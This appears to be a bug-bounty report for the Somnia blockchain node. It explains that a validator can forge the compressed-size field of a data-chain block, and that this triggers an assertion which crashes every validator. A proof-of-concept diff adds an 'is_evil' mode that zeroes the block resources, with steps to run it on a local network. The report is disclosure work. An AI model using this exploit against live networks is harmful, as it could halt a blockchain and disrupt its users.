https://github.com/hackenproof-public/somnia
When a validator finishes creating a new block for the local data chain, it broadcasts it to all other validators so they can sign a head commitment for inclusion in a consensus block. When the other nodes receive the data chain block, the only resource check performed is verifying that the total resources match the sum of the parent block’s resources and the resources of the new block: https://github.com/hackenproof-public/somnia/blob/ea5c191a893153fe020aac35532bbcaca0f8c5d1/somnia/data_chains/data_chain.cc#L217-L221
There’s no check to ensure that data_chain_block_resources actually matches what’s in the block.
When the block is later decompressed in the decode stage, there is a RELEASE_ASSERT that checks whether data_chain_block_resources.compressed_bytes actually matches the size of the data chain block:
https://github.com/hackenproof-public/somnia/blob/ea5c191a893153fe020aac35532bbcaca0f8c5d1/somnia/backend/decode_stage.h#L74-L75
If this is triggered, the whole node crashes. This means an attacker could intentionally set the wrong compressed_bytes size and crash every validator, leading to a total network shutdown.
Apply the following diff to the code so that one of the nodes behaves maliciously and sets the resources of the data chain blocks to zero. The POC can then be started with
NETWORK_PRESET=mainnet-small ./ci/run-local-deployment.sh.
diff --git a/ci/run-local-deployment.sh b/ci/run-local-deployment.sh
index ab51ed8c..8f435d8b 100755
--- a/ci/run-local-deployment.sh
+++ b/ci/run-local-deployment.sh
@@ -107,6 +107,12 @@ function runNode {
# Run a background process to add this node address as a validator.
addNodeAsValidator $validator_index ws://localhost:${base_api_websocket_port} &
+ # Prepare evil mode parameter conditionally
+ local evil_param=""
+ if [ "$validator_index" -eq 3 ]; then
+ evil_param="--local-parameters.is-evil true"
+ fi
+
# Start the node.
echo "Starting validator $validator_index on ports $protocol_port and $data_port"
$SOMNIA_BIN node \
@@ -121,6 +127,7 @@ function runNode {
--local-parameters.seed-peer.data-port $primary_data_port \
--local-parameters.seed-peer.peer-address $(cat /tmp/address_0.json) \
--local-parameters.seed-peer.hostname "127.0.0.1" \
+ $evil_param \
--key-file /tmp/keys_${validator_index}.json \
--parameters-preset "$NETWORK_PRESET" \
--verbose || true
diff --git a/somnia/data_chains/data_chain_proposer.cc b/somnia/data_chains/data_chain_proposer.cc
index e0dfa588..6cefcab5 100644
--- a/somnia/data_chains/data_chain_proposer.cc
+++ b/somnia/data_chains/data_chain_proposer.cc
@@ -345,7 +345,12 @@ void DataChainProposer::PublishNewBlock(DataChainCompressor::CompressedBlock com
} else {
new_block.parent_hash = published_block_chain.back().block_hash;
}
- new_block.data_chain_block_resources = compressed_block.metadata.data_chain_block_resources;
+ if (chain_parameters.local_parameters.is_evil) { //evil node sets all the resources to 0
+ FrontendResources frontend_resources;
+ new_block.data_chain_block_resources = frontend_resources;
+ } else {
+ new_block.data_chain_block_resources = compressed_block.metadata.data_chain_block_resources;
+ }
new_block.total_resources_committed =
total_resources_published + new_block.data_chain_block_resources;
diff --git a/somnia/parameters/local_parameters.h b/somnia/parameters/local_parameters.h
index d2d2b652..90b21ede 100644
--- a/somnia/parameters/local_parameters.h
+++ b/somnia/parameters/local_parameters.h
@@ -483,6 +483,10 @@ struct LocalParameters {
"transactions from.")
std::vector<Address> blocked_senders;
+ HELP(
+ "If true node should have evil mode enabled")
+ bool is_evil = false;
+
ThrottlerParameters throttler_parameters;
api::APIParameters api_parameters;
diff --git a/somnia/parameters/parameters_loader.cc b/somnia/parameters/parameters_loader.cc
index 2d0195d2..b1e4b630 100644
--- a/somnia/parameters/parameters_loader.cc
+++ b/somnia/parameters/parameters_loader.cc
@@ -372,7 +372,7 @@ void ChainParametersLoader::ApplyBaseProductionChainParameters(ChainParameters&
chain_parameters.local_parameters.storage_database_directory = "/tmp/somnia";
// Set the epoch length to 5 minutes.
- chain_parameters.protocol_parameters.ledger_blocks_per_epoch = 3000;
+ chain_parameters.protocol_parameters.ledger_blocks_per_epoch = 128; //this is set to 128 for the POC to run faster
// Set the ice database sizes.
chain_parameters.protocol_parameters.world_state_protocol_parameters.bls_link_state_parameters
The attack will take place in epoch 2, since this is the first epoch where node 3 is also part of the committee. All nodes will then crash due to a mismatch in the compressed size (see screenshot).